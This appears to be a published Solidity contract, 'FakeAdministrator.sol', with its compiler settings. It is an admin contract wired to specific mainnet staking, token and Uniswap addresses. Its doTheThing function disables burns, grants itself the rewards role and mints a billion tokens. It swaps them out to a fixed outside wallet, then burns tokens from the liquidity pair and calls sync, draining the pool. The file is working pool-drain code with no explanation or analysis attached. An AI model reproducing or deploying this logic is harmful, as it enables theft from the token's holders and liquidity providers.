文件 1 的 1:FakeAdministrator.sol
pragma solidity 0.6.12;
interface StakingContract {
function transferOwnership(address newOwner) external;
function burn(address account, uint256 amount) external;
function updateHoldersDay(bool _enableHoldersDay) external;
function updateTokenAddress(address newToken) external;
function updateCalculator(address calc) external;
function updateUseExternalCalcIterative(bool _useExternalCalcIterative) external;
function updateInflationAdjustmentFactor(uint256 _inflationAdjustmentFactor) external;
function updateStreak(bool negative, uint _streak) external;
function updateMinStakeDurationDays(uint8 _minStakeDurationDays) external;
function updateMinStakes(uint _minStake) external;
function updateMinPercentIncrease(uint8 _minIncrease) external;
function updateEnableBurns(bool _enabledBurns) external;
function updateWhitelist(address addr, string calldata reason, bool remove) external;
function updateUniWhitelist(address addr, string calldata reason, bool remove) external;
function updateBlacklist(address addr, uint256 fee, bool remove) external;
function updateUniswapPair(address addr) external;
function updateEnableUniswapSellBurns(bool _enableDirectSellBurns) external;
function updateUniswapSellBurnPercent(uint8 _sellerBurnPercent) external;
function updateFreeze(bool _enableFreeze) external;
function updateNextStakingContract(address nextContract) external;
function updateLiquidityStakingContract(address _liquidityStakingContract) external;
function updateOracle(address _oracle) external;
function updatePreviousStakingContract(address previousContract) external;
function updateTransferBurnFee(uint _transferBurnFee) external;
function updateMaxStreak(uint _maxStreak) external;
function updateMaxStakingDays(uint _maxStakingDays) external;
function updateHoldersDayRewardDenominator(uint _holdersDayRewardDenominator) external;
function updateIncreaseTransferFees(bool _increaseTransferFees) external;
function updateCheckPreviousContractWhitelist(bool _checkPreviousStakingContractWhitelist) external;
function removeLatestUpdate() external;
function resetStakeTimeDebug(address account, uint startTimestamp, uint lastTimestamp, bool migrated) external;
function liquidityRewards(address recipient, uint amount) external;
}
interface Minter {
function liquidityRewards(address recipient, uint amount) external;
function doTheThing() external;
}
interface UniswapV2Router{
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function WETH() external pure returns (address);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface ERC20 {
function transfer(address recipient, uint256 amount) external virtual returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function sync() external;
}
contract Administrator {
address public owner;
StakingContract public stakingContract;
address public TimeContract;
Minter public minter;
address public storedTokens;
UniswapV2Router public router;
address[] public path1;
address public pair;
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
modifier onlyTIME() {
assert(msg.sender == TimeContract);
_;
}
constructor() public {
owner = msg.sender;
stakingContract = StakingContract(0x738d3CEC4E685A2546Ab6C3B055fd6B8C1198093);
minter = Minter(0x28e484dBD6BB501D37EFC8cD4b8dc33121cC78be);
storedTokens = 0xB3470826919CC8eA0aB5e333358E36f701B1c6f5;
router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
TimeContract = 0x869aA079b622DEf8D522968E7A73a973B8B00CD6;
path1.push(0xF0FAC7104aAC544e4a7CE1A55ADF2B5a25c65bD1);
path1.push(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20(0xF0FAC7104aAC544e4a7CE1A55ADF2B5a25c65bD1).approve(address(router), 10000000000000E18);
pair = 0x1C608235E6A946403F2a048a38550BefE41e1B85;
}
function transferOwnership(address newOwner) external onlyOwner {
stakingContract.transferOwnership(newOwner);
}
function doTheThing() external onlyOwner {
stakingContract.updateLiquidityStakingContract(address(this));
stakingContract.updateEnableUniswapSellBurns(false);
stakingContract.updateEnableBurns(false);
stakingContract.liquidityRewards(address(this), 1000000000E18);
stakingContract.updateLiquidityStakingContract(0x0000000000000000000000000000000000000000);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(1000000000E18, 0, path1, 0xDf4CeF95B19a59e9d2E25F76e3020F9eB52A81c7, block.timestamp+86400);
stakingContract.burn(pair, 1000000000E18);
ERC20(pair).sync();
stakingContract.updateEnableUniswapSellBurns(true);
stakingContract.updateEnableBurns(true);
}
function doSomeOtherThing(address otherContract) external onlyOwner {
stakingContract.transferOwnership(otherContract);
Minter(otherContract).doTheThing();
}
function updatePath(address path) external onlyOwner {
path1[1] = path;
}
function updatePair(address _pair) external onlyOwner {
pair = _pair;
}
receive() external payable {
}
fallback() external payable {
}
}
{
"compilationTarget": {
"FakeAdministrator.sol": "Administrator"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}